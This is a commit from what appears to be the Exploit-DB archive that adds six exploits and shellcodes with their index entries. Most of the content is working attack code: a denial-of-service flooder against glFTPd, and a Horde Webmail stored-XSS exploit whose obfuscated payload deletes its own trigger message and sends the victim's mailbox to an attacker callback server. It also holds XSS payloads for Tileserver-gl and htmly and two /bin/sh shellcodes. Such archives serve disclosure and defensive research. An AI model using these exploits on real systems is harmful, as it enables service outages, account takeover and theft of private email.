DB: 2021-04-16
6 changes to exploits/shellcodes glFTPd 2.11a - Remote Denial of Service Horde Groupware Webmail 5.2.22 - Stored XSS Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS) htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS) Linux/x86 - execve(/bin/sh) Shellcode (17 bytes) Linux/x64 - execve(/bin/sh) Shellcode (21 bytes) (2)
This commit is contained in:
Offensive Security
parent
bccca11e26
commit
53c15c17c6
8 changed files with 534 additions and 0 deletions
101
exploits/multiple/dos/49773.py
Executable file
101
exploits/multiple/dos/49773.py
Executable file
|
|
@ -0,0 +1,101 @@
|
||||||
|
# Exploit Title: glFTPd 2.11a - Remote Denial of Service
|
||||||
|
# Date: 15/05/2021
|
||||||
|
# Exploit Author: xynmaps
|
||||||
|
# Vendor Homepage: https://glftpd.io/
|
||||||
|
# Software Link: https://glftpd.io/files/glftpd-LNX-2.11a_1.1.1k_x64.tgz
|
||||||
|
# Version: 2.11a
|
||||||
|
# Tested on: Parrot Security OS 5.9.0
|
||||||
|
|
||||||
|
#-------------------------------#
|
||||||
|
|
||||||
|
#encoding=utf8
|
||||||
|
#__author__ = XYN/Dump/NSKB3
|
||||||
|
#glFTPd Denial of Service exploit by XYN/Dump/NSKB3.
|
||||||
|
"""
|
||||||
|
glFTPd only lets a certain amount of connections to be made to the server, so, by repeatedly making new connections to the server,
|
||||||
|
you can block other legitimite users from making a connection to the server, if the the connections/ip isn't limited.
|
||||||
|
(if it's limited, just run this script from different proxies using proxychains, and it will work)
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import threading
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
|
||||||
|
banner = """
|
||||||
|
._________________.
|
||||||
|
| glFTPd |
|
||||||
|
| D o S |
|
||||||
|
|_________________|
|
||||||
|
|By XYN/DUMP/NSKB3|
|
||||||
|
|_|_____________|_|
|
||||||
|
|_|_|_|_____|_|_|_|
|
||||||
|
|_|_|_|_|_|_|_|_|_|
|
||||||
|
|
||||||
|
"""
|
||||||
|
usage = "{} <TARGET> <PORT(DEFAULT:21> <MAX_CONNS(DEFAULT:50)>".format(sys.argv[0])
|
||||||
|
|
||||||
|
def test(t,p):
|
||||||
|
s = socket.socket()
|
||||||
|
s.settimeout(10)
|
||||||
|
try:
|
||||||
|
s.connect((t, p))
|
||||||
|
response = s.recv(65535)
|
||||||
|
s.close()
|
||||||
|
return 0
|
||||||
|
except socket.error:
|
||||||
|
print("Port {} is not open, please specify a port that is open.".format(p))
|
||||||
|
sys.exit()
|
||||||
|
def attack(targ, po, id):
|
||||||
|
try:
|
||||||
|
subprocess.Popen("ftp {0} {1}".format(targ, po), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
#print("Worker {} running".format(id))
|
||||||
|
except OSError: pass
|
||||||
|
def main():
|
||||||
|
global target, port, start
|
||||||
|
print banner
|
||||||
|
try:
|
||||||
|
target = sys.argv[1]
|
||||||
|
except:
|
||||||
|
print usage
|
||||||
|
sys.exit()
|
||||||
|
try:
|
||||||
|
port = int(sys.argv[2])
|
||||||
|
except:
|
||||||
|
port = 21
|
||||||
|
try:
|
||||||
|
conns = int(sys.argv[3])
|
||||||
|
except:
|
||||||
|
conns = 50
|
||||||
|
print("[!] Testing if {0}:{1} is open".format(target, port))
|
||||||
|
test(target, port)
|
||||||
|
print("[+] Port {} open, starting attack...".format(port))
|
||||||
|
time.sleep(2)
|
||||||
|
print("[+] Attack started on {0}:{1}!".format(target, port))
|
||||||
|
def loop(target, port, conns):
|
||||||
|
global start
|
||||||
|
threading.Thread(target=timer).start()
|
||||||
|
while 1:
|
||||||
|
for i in range(1, conns + 3):
|
||||||
|
t = threading.Thread(target=attack, args=(target,port,i,))
|
||||||
|
t.start()
|
||||||
|
if i > conns + 2:
|
||||||
|
t.join()
|
||||||
|
break
|
||||||
|
loop()
|
||||||
|
|
||||||
|
t = threading.Thread(target=loop, args=(target, port, conns,))
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
def timer():
|
||||||
|
start = time.time()
|
||||||
|
while 1:
|
||||||
|
if start < time.time() + float(900): pass
|
||||||
|
else:
|
||||||
|
subprocess.Popen("pkill ftp", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
||||||
|
t = threading.Thread(target=loop, args=(target, port,))
|
||||||
|
t.start()
|
||||||
|
break
|
||||||
|
|
||||||
|
main()
|
||||||
283
exploits/multiple/webapps/49769.py
Executable file
283
exploits/multiple/webapps/49769.py
Executable file
|
|
@ -0,0 +1,283 @@
|
||||||
|
# Exploit Title: Horde Groupware Webmail 5.2.22 - Stored XSS
|
||||||
|
# Author: Alex Birnberg
|
||||||
|
# Testing and Debugging: Ventsislav Varbanovski @nu11secur1ty
|
||||||
|
# Date: 04.14.2021
|
||||||
|
# Vendor: https://www.horde.org/apps/webmail
|
||||||
|
# Link: https://github.com/horde/webmail/releases
|
||||||
|
# CVE: CVE-2021-26929
|
||||||
|
|
||||||
|
[+] Exploit Source:
|
||||||
|
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-26929
|
||||||
|
|
||||||
|
[Exploit Program Code]
|
||||||
|
|
||||||
|
#!/usr/bin/python3
|
||||||
|
# Author idea: Alex Birnberg
|
||||||
|
# debug nu11secur1ty 2021
|
||||||
|
import io
|
||||||
|
import os
|
||||||
|
import ssl
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import base64
|
||||||
|
import string
|
||||||
|
import random
|
||||||
|
import logging
|
||||||
|
import smtplib
|
||||||
|
import sqlite3
|
||||||
|
import hashlib
|
||||||
|
import zipfile
|
||||||
|
import argparse
|
||||||
|
from flask import Flask, request, Response
|
||||||
|
from urllib.parse import urlparse
|
||||||
|
|
||||||
|
class Exploit:
|
||||||
|
def __init__(self, args):
|
||||||
|
# Database
|
||||||
|
if not os.path.exists('database.db'):
|
||||||
|
with sqlite3.connect("database.db") as conn:
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute('CREATE TABLE mailbox (hash TEXT NOT NULL UNIQUE, content BLOB NOT NULL);')
|
||||||
|
conn.commit()
|
||||||
|
# SMTP URL
|
||||||
|
o = urlparse(args.smtp)
|
||||||
|
self.smtp = {
|
||||||
|
'ssl': o.scheme.lower() == 'smtps',
|
||||||
|
'host': o.hostname or '127.0.0.1',
|
||||||
|
'port': o.port or ('465' if o.scheme.lower() == 'smtps' else '25'),
|
||||||
|
'username': '' or o.username,
|
||||||
|
'password': '' or o.password
|
||||||
|
}
|
||||||
|
try:
|
||||||
|
if self.smtp['ssl']:
|
||||||
|
context = ssl.create_default_context()
|
||||||
|
context.verify_mode = ssl.CERT_OPTIONAL
|
||||||
|
context.check_hostname = False
|
||||||
|
self.server = smtplib.SMTP_SSL(self.smtp['host'], self.smtp['port'], context=context)
|
||||||
|
else:
|
||||||
|
self.server = smtplib.SMTP(self.smtp['host'], self.smtp['port'])
|
||||||
|
except Exception as e:
|
||||||
|
print(e)
|
||||||
|
print('[-] Error connecting to SMTP server!')
|
||||||
|
exit()
|
||||||
|
try:
|
||||||
|
self.server.login(self.smtp['username'], self.smtp['password'])
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
# Callback URL
|
||||||
|
o = urlparse(args.callback)
|
||||||
|
self.callback = {
|
||||||
|
'url': '{}://{}'.format(o.scheme, o.netloc),
|
||||||
|
'path': ''.join(random.choice(string.ascii_letters) for i in range(20))
|
||||||
|
}
|
||||||
|
# Listener URL
|
||||||
|
o = urlparse(args.listener)
|
||||||
|
self.listener = {
|
||||||
|
'ssl': o.scheme.lower() == 'https',
|
||||||
|
'host': o.hostname or '0.0.0.0',
|
||||||
|
'port': o.port or 80,
|
||||||
|
'horde': ''.join(random.choice(string.ascii_letters) for i in range(20))
|
||||||
|
}
|
||||||
|
# Target email
|
||||||
|
self.target = args.target
|
||||||
|
# Subject
|
||||||
|
self.subject = args.subject or 'Important Message'
|
||||||
|
# Environment
|
||||||
|
self.env = {}
|
||||||
|
self.env['mailbox'] = args.mailbox or 'INBOX'
|
||||||
|
self.env['callback'] = '{}/{}'.format(self.callback['url'], self.callback['path'])
|
||||||
|
|
||||||
|
def trigger(self):
|
||||||
|
print('[*] Waiting for emails...')
|
||||||
|
self.bypass_auth()
|
||||||
|
print('\n[*] Done')
|
||||||
|
|
||||||
|
def bypass_auth(self):
|
||||||
|
def horde():
|
||||||
|
f = open('horde.js')
|
||||||
|
content = 'env = {};\n\n{}'.format(json.dumps(self.env), f.read())
|
||||||
|
f.close()
|
||||||
|
return content
|
||||||
|
|
||||||
|
def callback():
|
||||||
|
response = Response('')
|
||||||
|
with sqlite3.connect("database.db") as conn:
|
||||||
|
try:
|
||||||
|
if request.files.get('mbox'):
|
||||||
|
filename = request.files.get('mbox').filename.replace('zip', 'mbox')
|
||||||
|
content = request.files.get('mbox').stream.read()
|
||||||
|
zipdata = io.BytesIO()
|
||||||
|
zipdata.write(content)
|
||||||
|
content = zipfile.ZipFile(zipdata)
|
||||||
|
content = content.open(filename).read()
|
||||||
|
mail_hash = hashlib.sha1(content).digest().hex()
|
||||||
|
print('[+] Received mailbox ({})'.format(mail_hash))
|
||||||
|
cursor = conn.cursor()
|
||||||
|
cursor.execute('INSERT INTO mailbox (hash, content) VALUES (?, ?)', (mail_hash, content))
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
response.headers['Access-Control-Allow-Origin'] = '*'
|
||||||
|
return response
|
||||||
|
|
||||||
|
payload = 'var s=document.createElement("script");s.type="text/javascript";s.src="{}/{}";document.head.append(s);'.format(self.callback['url'], self.listener['horde'])
|
||||||
|
payload = '<script>eval(atob("{}"))</script>'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
|
||||||
|
content = 'Subject: {}\nFrom: {}\nTo: {}\n'.format(self.subject, self.smtp['username'], self.target)
|
||||||
|
# The secret services :)
|
||||||
|
content += 'X\x00\x00\x00{}\x00\x00\x00X'.format(base64.b64encode(payload.encode('latin-1')).decode('latin-1'))
|
||||||
|
self.server.sendmail(self.smtp['username'], self.target, content)
|
||||||
|
app = Flask(__name__)
|
||||||
|
app.add_url_rule('/{}'.format(self.listener['horde']), 'horde', horde)
|
||||||
|
app.add_url_rule('/{}'.format(self.callback['path']), 'callback', callback, methods=['POST'])
|
||||||
|
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||||
|
cli = sys.modules['flask.cli']
|
||||||
|
cli.show_server_banner = lambda *x: None
|
||||||
|
try:
|
||||||
|
if self.listener['ssl']:
|
||||||
|
app.run(host=self.listener['host'], port=self.listener['port'], ssl_context=('cert.pem', 'key.pem'))
|
||||||
|
else:
|
||||||
|
app.run(host=self.listener['host'], port=self.listener['port'])
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
parser = argparse.ArgumentParser()
|
||||||
|
parser.add_argument('--smtp', help='SMTP URL', required=True, metavar='URL')
|
||||||
|
parser.add_argument('--callback', help='Callback URL', required=True, metavar='URL')
|
||||||
|
parser.add_argument('--listener', help='Listener URL', metavar='URL')
|
||||||
|
parser.add_argument('--target', help='Target email', required=True, metavar='EMAIL')
|
||||||
|
parser.add_argument('--subject', help='Email subject', metavar='SUBJECT')
|
||||||
|
parser.add_argument('--mailbox', help='Mailbox from which to steal the emails', metavar='INBOX')
|
||||||
|
args = parser.parse_args()
|
||||||
|
exploit = Exploit(args)
|
||||||
|
exploit.trigger()
|
||||||
|
horde.js
|
||||||
|
|
||||||
|
class Exploit {
|
||||||
|
constructor() {
|
||||||
|
this.basepath = document.location.pathname.substring(0, document.location.pathname.indexOf('imp'));
|
||||||
|
}
|
||||||
|
|
||||||
|
trigger() {
|
||||||
|
this.mailbox = this.get_mailbox();
|
||||||
|
this.buid = this.get_buid();
|
||||||
|
this.token = this.get_token();
|
||||||
|
this.auto_delete()
|
||||||
|
.then(() => {
|
||||||
|
this.exfiltrate_emails({mailbox: env.mailbox});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async auto_delete() {
|
||||||
|
let params = new URLSearchParams()
|
||||||
|
params.append('token', this.token);
|
||||||
|
params.append('view', this.mailbox);
|
||||||
|
params.append('buid', this.buid);
|
||||||
|
return fetch(this.basepath + 'services/ajax.php/imp/deleteMessages', {
|
||||||
|
method: 'POST',
|
||||||
|
body: params
|
||||||
|
})
|
||||||
|
.then(() => {
|
||||||
|
let params = new URLSearchParams();
|
||||||
|
params.append('token', this.token);
|
||||||
|
params.append('view', this.mailbox);
|
||||||
|
return fetch(this.basepath + 'services/ajax.php/imp/purgeDeleted', {
|
||||||
|
method: 'POST',
|
||||||
|
body: params
|
||||||
|
})
|
||||||
|
.then(() => {
|
||||||
|
if (document.getElementById('checkmaillink') !== null) {
|
||||||
|
document.getElementById('checkmaillink').click();
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
async exfiltrate_emails(args) {
|
||||||
|
let mbox_list = '["' + this.get_mailbox() + '"]';
|
||||||
|
if (args.mailbox.toUpperCase() != 'INBOX') {
|
||||||
|
let params = new URLSearchParams();
|
||||||
|
params.append('reload', '1');
|
||||||
|
params.append('unsub', '1');
|
||||||
|
params.append('token', this.token);
|
||||||
|
let mailboxes = await fetch(this.basepath + 'services/ajax.php/imp/listMailboxes', {
|
||||||
|
method: 'POST',
|
||||||
|
body: params
|
||||||
|
})
|
||||||
|
.then(response => {
|
||||||
|
return response.text();
|
||||||
|
})
|
||||||
|
.then(data => {
|
||||||
|
return JSON.parse(data.substring(10, data.length - 2));
|
||||||
|
});
|
||||||
|
mailboxes.tasks['imp:mailbox'].a.forEach(mailbox => {
|
||||||
|
if (mailbox.l.toUpperCase() == args.mailbox) {
|
||||||
|
if (mbox_list === undefined) {
|
||||||
|
mbox_list = '["' + mailbox.m + '"]';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
let zip = await fetch(this.basepath + 'services/download/?app=imp&actionID=download_mbox&mbox_list=' + mbox_list + '&type=mboxzip&token=' + this.token + '&fn=/')
|
||||||
|
.then(response => {
|
||||||
|
return [response.blob(), response.headers.get('Content-Disposition')];
|
||||||
|
});
|
||||||
|
let filename = zip[1];
|
||||||
|
filename = filename.substring(filename.indexOf('filename="') + 10, filename.length - 1);
|
||||||
|
zip = await zip[0];
|
||||||
|
let formData = new FormData();
|
||||||
|
formData.append('mbox', zip, filename);
|
||||||
|
fetch(window.env.callback, {
|
||||||
|
method: 'POST',
|
||||||
|
body: formData
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
get_token() {
|
||||||
|
let link;
|
||||||
|
let token;
|
||||||
|
if (document.getElementsByClassName('smartmobile-logout').length > 0) {
|
||||||
|
link = document.getElementsByClassName('smartmobile-logout')[0].href;
|
||||||
|
}
|
||||||
|
else if (document.getElementById('horde-logout') !== null) {
|
||||||
|
link = document.getElementById('horde-logout').getElementsByTagName('a')[0].href;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
link = location.href;
|
||||||
|
}
|
||||||
|
if (link.match('horde_logout_token=(.*)&') !== null) {
|
||||||
|
token = link.match('horde_logout_token=(.*)&')[1];
|
||||||
|
}
|
||||||
|
if (token === undefined && link.match('token=(.*)&') !== null) {
|
||||||
|
token = link.match('token=(.*)&')[1];
|
||||||
|
}
|
||||||
|
return token;
|
||||||
|
}
|
||||||
|
|
||||||
|
get_mailbox() {
|
||||||
|
if (window.DimpBase !== undefined) {
|
||||||
|
return DimpBase.viewport.getSelection(DimpBase.pp.VP_view).search({
|
||||||
|
VP_id: {
|
||||||
|
equal: [ DimpBase.pp.VP_id ]
|
||||||
|
}
|
||||||
|
}).get('dataob').first().VP_view;
|
||||||
|
}
|
||||||
|
else if (location.href.match('mailbox=([A-Za-z0-9]*)') !== null) {
|
||||||
|
return location.href.match('mailbox=([A-Za-z0-9]*)')[1];
|
||||||
|
}
|
||||||
|
else if (location.href.match('mbox=([A-Za-z0-9]*)') !== null) {
|
||||||
|
return location.href.match('mbox=([A-Za-z0-9]*)')[1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
get_buid() {
|
||||||
|
if (location.href.match('buid=([0-9]*)') !== null) {
|
||||||
|
return location.href.match('buid=([0-9]*)')[1];
|
||||||
|
}
|
||||||
|
else if (location.href.match(';([0-9]*)') !== null) {
|
||||||
|
return location.href.match(';([0-9]*)')[1];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const exploit = new Exploit();
|
||||||
|
exploit.trigger();
|
||||||
10
exploits/multiple/webapps/49771.txt
Normal file
10
exploits/multiple/webapps/49771.txt
Normal file
|
|
@ -0,0 +1,10 @@
|
||||||
|
# Exploit Title: Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS)
|
||||||
|
# Date: 15/04/2021
|
||||||
|
# Exploit Author: Akash Chathoth
|
||||||
|
# Vendor Homepage: http://tileserver.org/
|
||||||
|
# Software Link: https://github.com/maptiler/tileserver-gl
|
||||||
|
# Version: versions <3.1.0
|
||||||
|
# Tested on: 2.6.0
|
||||||
|
# CVE: 2020-15500
|
||||||
|
|
||||||
|
Exploit : http://example.com/?key="><script>alert(document.domain)</script>
|
||||||
58
exploits/multiple/webapps/49772.py
Executable file
58
exploits/multiple/webapps/49772.py
Executable file
|
|
@ -0,0 +1,58 @@
|
||||||
|
# Exploit Title: htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)
|
||||||
|
# Authors: @nu11secur1ty & G.Dzhankushev
|
||||||
|
# Date: 04.15.2021
|
||||||
|
# Vendor Homepage: https://www.htmly.com/
|
||||||
|
# Software Link: https://github.com/danpros/htmly
|
||||||
|
# CVE: CVE-2021-30637
|
||||||
|
|
||||||
|
#!/usr/bin/python3
|
||||||
|
|
||||||
|
from selenium import webdriver
|
||||||
|
from selenium.webdriver.common.by import By
|
||||||
|
from selenium.webdriver.support.ui import WebDriverWait
|
||||||
|
from selenium.webdriver.support import expected_conditions as EC
|
||||||
|
import time
|
||||||
|
|
||||||
|
|
||||||
|
#enter the link to the website you want to automate login.
|
||||||
|
website_link="http://localhost/htmly/login"
|
||||||
|
|
||||||
|
#enter your login username
|
||||||
|
username="nu11secur1ty"
|
||||||
|
|
||||||
|
#enter your login password
|
||||||
|
password="password"
|
||||||
|
|
||||||
|
#enter the element for username input field
|
||||||
|
element_for_username="user"
|
||||||
|
#enter the element for password input field
|
||||||
|
element_for_password="password"
|
||||||
|
#enter the element for submit button
|
||||||
|
element_for_submit="submit"
|
||||||
|
|
||||||
|
|
||||||
|
#browser = webdriver.Safari() #for macOS users[for others use chrome vis chromedriver]
|
||||||
|
browser = webdriver.Chrome() #uncomment this line,for chrome users
|
||||||
|
#browser = webdriver.Firefox() #uncomment this line,for chrome users
|
||||||
|
|
||||||
|
browser.get((website_link))
|
||||||
|
|
||||||
|
try:
|
||||||
|
username_element = browser.find_element_by_name(element_for_username)
|
||||||
|
username_element.send_keys(username)
|
||||||
|
password_element = browser.find_element_by_name(element_for_password)
|
||||||
|
password_element.send_keys(password)
|
||||||
|
signInButton = browser.find_element_by_name(element_for_submit)
|
||||||
|
signInButton.click()
|
||||||
|
|
||||||
|
# Exploit .ini
|
||||||
|
browser.get(("http://localhost/htmly/admin/config"))
|
||||||
|
browser.execute_script("document.querySelector('[name=\"-config-blog.description\"]').innerText = '</span><img src=1 onerror=alert(1) /><span>'")
|
||||||
|
time.sleep(3)
|
||||||
|
browser.execute_script("document.querySelector('.btn.btn-primary').click()")
|
||||||
|
|
||||||
|
print("payload is deployed...\n")
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
#### This exception occurs if the element are not found in the webpage.
|
||||||
|
print("Some error occured :(")
|
||||||
|
|
@ -6777,6 +6777,7 @@ id,file,description,date,author,type,platform,port
|
||||||
49685,exploits/hardware/dos/49685.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Device Reboot (Unauthenticated)",2021-03-19,LiquidWorm,dos,hardware,
|
49685,exploits/hardware/dos/49685.txt,"KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Device Reboot (Unauthenticated)",2021-03-19,LiquidWorm,dos,hardware,
|
||||||
49697,exploits/multiple/dos/49697.py,"ProFTPD 1.3.7a - Remote Denial of Service",2021-03-22,xynmaps,dos,multiple,
|
49697,exploits/multiple/dos/49697.py,"ProFTPD 1.3.7a - Remote Denial of Service",2021-03-22,xynmaps,dos,multiple,
|
||||||
49730,exploits/hardware/dos/49730.py,"DD-WRT 45723 - UPNP Buffer Overflow (PoC)",2021-03-31,Enesdex,dos,hardware,
|
49730,exploits/hardware/dos/49730.py,"DD-WRT 45723 - UPNP Buffer Overflow (PoC)",2021-03-31,Enesdex,dos,hardware,
|
||||||
|
49773,exploits/multiple/dos/49773.py,"glFTPd 2.11a - Remote Denial of Service",2021-04-15,xynmaps,dos,multiple,
|
||||||
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
|
||||||
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
|
||||||
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
|
||||||
|
|
@ -43944,3 +43945,6 @@ id,file,description,date,author,type,platform,port
|
||||||
49764,exploits/hardware/webapps/49764.txt,"Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE",2021-04-14,"Jay Sharma",webapps,hardware,
|
49764,exploits/hardware/webapps/49764.txt,"Genexis PLATINUM 4410 2.1 P4410-V2-1.28 - RCE",2021-04-14,"Jay Sharma",webapps,hardware,
|
||||||
49766,exploits/multiple/webapps/49766.txt,"jQuery 1.2 - Cross-Site Scripting (XSS)",2021-04-14,"Central InfoSec",webapps,multiple,
|
49766,exploits/multiple/webapps/49766.txt,"jQuery 1.2 - Cross-Site Scripting (XSS)",2021-04-14,"Central InfoSec",webapps,multiple,
|
||||||
49767,exploits/multiple/webapps/49767.txt,"jQuery 1.0.3 - Cross-Site Scripting (XSS)",2021-04-14,"Central InfoSec",webapps,multiple,
|
49767,exploits/multiple/webapps/49767.txt,"jQuery 1.0.3 - Cross-Site Scripting (XSS)",2021-04-14,"Central InfoSec",webapps,multiple,
|
||||||
|
49769,exploits/multiple/webapps/49769.py,"Horde Groupware Webmail 5.2.22 - Stored XSS",2021-04-15,nu11secur1ty,webapps,multiple,
|
||||||
|
49771,exploits/multiple/webapps/49771.txt,"Tileserver-gl 3.0.0 - 'key' Reflected Cross-Site Scripting (XSS)",2021-04-15,"Akash Chathoth",webapps,multiple,
|
||||||
|
49772,exploits/multiple/webapps/49772.py,"htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)",2021-04-15,nu11secur1ty,webapps,multiple,
|
||||||
|
|
|
||||||
|
Can't render this file because it is too large.
|
|
|
@ -1032,3 +1032,5 @@ id,file,description,date,author,type,platform
|
||||||
49472,shellcodes/linux/49472.c,"Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes)",2021-01-25,"Guillem Alminyana",shellcode,linux
|
49472,shellcodes/linux/49472.c,"Linux/x64 - Bind_tcp (0.0.0.0:4444) + Password (12345678) + Shell (/bin/sh) Shellcode (142 bytes)",2021-01-25,"Guillem Alminyana",shellcode,linux
|
||||||
49547,shellcodes/linux_x86-64/49547.c,"Linux/x64 - execve _cat /etc/shadow_ Shellcode (66 bytes)",2021-02-09,"Felipe Winsnes",shellcode,linux_x86-64
|
49547,shellcodes/linux_x86-64/49547.c,"Linux/x64 - execve _cat /etc/shadow_ Shellcode (66 bytes)",2021-02-09,"Felipe Winsnes",shellcode,linux_x86-64
|
||||||
49592,shellcodes/windows_x86/49592.asm,"Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes)",2021-02-24,"Armando Huesca Prida",shellcode,windows_x86
|
49592,shellcodes/windows_x86/49592.asm,"Windows/x86 - Add User Alfred to Administrators/Remote Desktop Users Group Shellcode (240 bytes)",2021-02-24,"Armando Huesca Prida",shellcode,windows_x86
|
||||||
|
49768,shellcodes/linux_x86/49768.c,"Linux/x86 - execve(/bin/sh) Shellcode (17 bytes)",2021-04-15,s1ege,shellcode,linux_x86
|
||||||
|
49770,shellcodes/linux_x86-64/49770.c,"Linux/x64 - execve(/bin/sh) Shellcode (21 bytes) (2)",2021-04-15,s1ege,shellcode,linux_x86-64
|
||||||
|
|
|
||||||
|
46
shellcodes/linux_x86-64/49770.c
Normal file
46
shellcodes/linux_x86-64/49770.c
Normal file
|
|
@ -0,0 +1,46 @@
|
||||||
|
# Linux/x64 - execve(/bin/sh) Shellcode (21 bytes)
|
||||||
|
# Author: s1ege
|
||||||
|
# Tested on: x86_64 GNU/Linux
|
||||||
|
# Shellcode Length: 21
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
################################################
|
||||||
|
objdump disassembly
|
||||||
|
################################################
|
||||||
|
401000: 50 push %rax
|
||||||
|
401001: 48 31 d2 xor %rdx,%rdx
|
||||||
|
401004: 48 bb 2f 62 69 6e 2f movabs $0x68732f2f6e69622f,%rbx
|
||||||
|
40100b: 2f 73 68
|
||||||
|
40100e: 53 push %rbx
|
||||||
|
40100f: 54 push %rsp
|
||||||
|
401010: 5f pop %rdi
|
||||||
|
401011: b0 3b mov $0x3b,%al
|
||||||
|
401013: 0f 05 syscall
|
||||||
|
################################################
|
||||||
|
|
||||||
|
################################################
|
||||||
|
shellcode.asm
|
||||||
|
################################################
|
||||||
|
; nasm -felf64 shellcode.asm && ld shellcode.o -o shellcode
|
||||||
|
section .text
|
||||||
|
global _start
|
||||||
|
_start:
|
||||||
|
push rax
|
||||||
|
xor rdx, rdx
|
||||||
|
mov rbx, 0x68732f2f6e69622f
|
||||||
|
push rbx
|
||||||
|
push rsp
|
||||||
|
pop rdi
|
||||||
|
mov al, 59
|
||||||
|
syscall
|
||||||
|
################################################
|
||||||
|
*/
|
||||||
|
unsigned char shellcode[] = \
|
||||||
|
"\x50\x48\x31\xd2\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
int (*ret)() = (int(*)())shellcode;
|
||||||
|
ret();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
30
shellcodes/linux_x86/49768.c
Normal file
30
shellcodes/linux_x86/49768.c
Normal file
|
|
@ -0,0 +1,30 @@
|
||||||
|
# Linux/x86 - execve(/bin/sh) Shellcode (17 bytes)
|
||||||
|
# Author: s1ege
|
||||||
|
# Tested on: i686 GNU/Linux
|
||||||
|
# Shellcode length: 17
|
||||||
|
|
||||||
|
/*
|
||||||
|
; nasm -felf32 shellcode.asm && ld -melf_i386 shellcode.o -o shellcode
|
||||||
|
section .text
|
||||||
|
global _start
|
||||||
|
_start:
|
||||||
|
push 0x0b
|
||||||
|
pop eax
|
||||||
|
push 0x0068732f
|
||||||
|
push 0x6e69622f
|
||||||
|
mov ebx, esp
|
||||||
|
int 0x80
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
|
unsigned char code[] = \
|
||||||
|
"\x6a\x0b\x58\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";
|
||||||
|
|
||||||
|
int main() {
|
||||||
|
printf("Shellcode Length: %lu\n", sizeof(code)-1); // subtract null byte
|
||||||
|
int (*ret)() = (int(*)())code;
|
||||||
|
ret();
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Loading…
Add table
Reference in a new issue